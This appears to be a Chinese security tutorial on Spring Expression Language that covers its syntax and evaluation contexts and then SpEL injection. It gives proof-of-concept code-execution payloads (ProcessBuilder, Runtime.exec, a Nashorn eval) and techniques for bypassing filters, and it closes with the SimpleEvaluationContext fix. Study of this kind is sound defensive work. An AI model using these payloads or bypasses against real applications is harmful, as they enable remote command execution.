概述

Spring Expression Lanuage(SpEL),Spring语言表达式,是一个支持查询和操作运行时对象导航图功能的强大的表达式语言,语法类似于传统EL。创建的初衷是为了给Spring社区提供一种简单而高效的表达式语言,一种可贯穿整个Spring产品组的语言。这种语言特性基于Spring产品的需求而设计。虽然SpEL引擎作为Spring组合里的表达式解析的基础,但不直接依赖于Spring。

应用场景

SpEL的设计初衷是为了简化开发工作,提供一种在运行时动态解析和执行表达式的机制,常用于如下场景:

  • 配置Bean的属性值(配合@Value注解)
  • Spring Security权限表达式
  • Spring Data JPA查询表达式
  • 条件逻辑控制(如SPEL条件注解@ConditionalOnExpression
  • 模板引擎中处理动态数据
  • 静态方法调用或对象动态构造

用法

注解@Value中

1
2
3
4
//@Value能修饰成员变量和方法形参
//#{}内就是表达式的内容
@Value("#{表达式}")
public String arg;

demo:

1
@Value("#{user.name}")

**@Value**:Spring 的注解,用于注入值到字段、方法参数或构造函数参数中

能让我们动态从某个Bean中获取字段值注入到另一个Bean中,即从Spring容器中获取名为”user”的Bean,并注入其name属性的值

XML配置

配置Bean:

1
2
3
4
<bean id="xxx" class="com.java.XXXXX.xx">
<!-- 同@Value,#{}内是表达式的值,可放在property或constructor-arg内 -->
<property name="arg" value="#{表达式}">
</bean>

**id="xxx"**:Bean 的唯一标识符

**class="com.java.XXXXX.xx"**:Bean 的完整类名

**<property>**:设置 Bean 的属性值

**name="arg"**:要设置的属性名称

**value="#{表达式}"**:使用 SpEL 表达式计算属性值

其实与@Value功能是等价的,只是配置形式不同

demo:

1
2
3
4
5
6
7
8
9
10
11
XML配置方式:
<bean id="service" class="com.java.UserService">
<property name="username" value="#{user.name}"/>
</bean>

@Value注解配置:
@Component
public class UserService {
@Value("#{user.name}")
private String username;
}

@ComponentSpring 框架中最基本的注解之一,用于标识一个类作为 Spring 容器管理的 Bean

Expression

1
2
3
SpelExpressionParser parser=new SpelExpressionParser();
Expression expression=parser.parseExpression(input);
return expression.getValue().toString();

Spel使用ExpressionParser接口表示解析器。然后使用提供的parseExpression方法来解析相应的表达式为Expression对象,最后通过Expression#getValue方法根据上下文获取表达式的值

SpEL不仅支持属性访问和方法调用,还支持集合操作、正则匹配、表达式求值、对象创建等,是Spring应用中的通用表达式解析工具。

SpEL语法及支持的功能特性

Spel表达式以#{开头,以}结尾:

1
#{表达式}

${开头,以}结尾表示属性名称引用:

1
${ spring.user.name }

T(Type)运算符会调用类的作用域和方法,它返回的是一个对象,它可以帮助获取某个类的静态方法:

1
#{T(全限定类名).方法名()}

还支持通过new来实例化对象:

1
#{new java.lang.ProcessBuilder(new String[]{"open", "-a", "Calculator"}).start()}

SpEL 主要支持以下操作:

功能 示例 描述
文字表达式 'hello', 123, true 字符串、数字、布尔值、null
属性访问 person.name 访问对象属性
方法调用 'abc'.toUpperCase() 调用实例方法
静态方法 T(java.lang.Math).random() 访问 Java 类的静态方法或字段
对象创建 new java.util.Date() 实例化对象
集合操作 list[0], map['key'] 访问数组、List、Map
关系运算符 age > 18 比较操作,如 >、<、== 等
逻辑运算符 true and false andornot 逻辑组合
条件(三元)运算符 score > 60 ? '及格' : '不及格' 简化条件判断
正则表达式 'abc' matches '[a-z]+' 字符串正则匹配
Bean 引用 @myBean 引用 Spring 容器中的 Bean
投影操作 list.![name] 从集合中提取每个元素的某个属性
过滤操作 list.?[age > 18] 过滤集合中满足条件的元素
变量引用 #name, #user.age 使用上下文中定义的变量
模板表达式 "Welcome, #{#user.name}!" 与字符串模板结合生成动态字符串

SpEL执行机制

  • ExpressionParser
  • EvaluationContext

ExpressionParser(表达式解析器)

用于将字符串形式的表达式解析为Expression对象:

1
2
ExpressionParser parser=new ExpressionParser();
Expression expression=parser.parseExpression(input);

EvaluationContext(表达式上下文)

在执行表达式时提供变量、对象、函数等运行环境,简单来说就是表达式执行的运行环境

1
2
StandardEvaluationContext context=new StandardEvaluationContext(user);
int age = expr.getValue(context, Integer.class);

主要有StandardEvaluationContextSimpleEvaluationContext两种

有些老版本不支持SimpleEvaluationContext,并且如果不做特意说明的情况下,默认是使用更不安全的StandardEvaluationContext

其中StandardEvaluationContext功能最强大,支持SpEL的所有特性,而SimpleEvaluationContext功能受限,专为安全场景设计

功能类别 StandardEvaluationContext ✅ SimpleEvaluationContext 🛡️ 说明
设置根对象 ✅ 支持 ✅ 支持 设置表达式的默认作用对象
设置变量 ✅ 支持 ✅ 支持 可使用 #varName 形式
注册自定义函数 ✅ 支持 ❌ 不支持 可用静态方法注册为函数
访问 Java 类 ✅ 支持(T(…)) ❌ 不支持 T(java.lang.Math).PI
调用构造函数 ✅ 支持(new) ❌ 不支持 new java.util.Date()
访问 Spring Bean ✅ 支持(配合 BeanResolver) ❌ 不支持 通过 @beanName 引用
方法调用 ✅ 支持 ⚠️ 仅支持 getter 完整方法调用或属性访问
修改属性 ✅ 支持 ❌ 不支持 只读上下文不允许修改
集合筛选与投影 ✅ 支持 ❌ 不支持 list.?[age>18]
自定义类型转换器 ✅ 支持 ❌ 不支持 用于自定义表达式值转换
安全性 ❌ 不安全 ✅ 高安全性 用户输入不应使用标准上下文
适用场景 内部逻辑、系统配置 用户输入、REST绑定等 用于信任 vs 不信任来源

SpEL表达式注入

前置条件

  • 传入的表达式未过滤
  • 表达式解析后调用了getValue()或setValue()
  • 使用StandardEvaluationContext作为上下文对象(如果不指定,Spring默认使用StandardEvaluationContext)

常用POC

ProcessBuilder

1
2
3
#{new java.lang.ProcessBuilder(new String[]{"open", "-a", "Calculator"}).start()}

#{new java.lang.ProcessBuilder(new String[]{"calc"}).start()}

Runtime

Runtime的构造方法为private,不允许在外部通过new来获取对象,可以通过静态方法getRuntime来获取

1
2
3
#{T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}

#{T(java.lang.Runtime).getRuntime().exec("calc")}

ScriptEngine

JDK6开始就自带ScriptEngineManager,支持在JS中调用Java对象,可以利用Java调用Js引擎的eval

1
2
// nashorn 可以换成其他的引擎名称
#{new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.lang.Runtime.getRuntime().exec(s);")}

s=[3]创建一个长度为3的数组

绕过

反射

1
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")

this

需要上下文环境

1
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

#this 是一个特殊的变量引用,代表 当前正在评估的上下文对象

绕过T(过滤

1
T%00(Class)

这涉及到SpEL对字符的编码,%00会被直接替换为空

绕过getClass(过滤

可用getSuperclass函数代替

URL编码过滤绕过

1
2
3
4
5
6
7
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char转字符串,再字符串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(
java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).conc
at(T(java.lang.Character).toString(99)))

漏洞修复

使用SimpleEvaluationContext代替StandardEvaluationContext即可

参考

https://www.cainiaojc.com/spring/spring-expression-language-tutorial.html

https://www.cnblogs.com/k1115h0t/p/18919765#三spel支持的功能特性

https://nivi4.notion.site/SPEL-c64095c1c4214cb4b23bf4f009cb35f0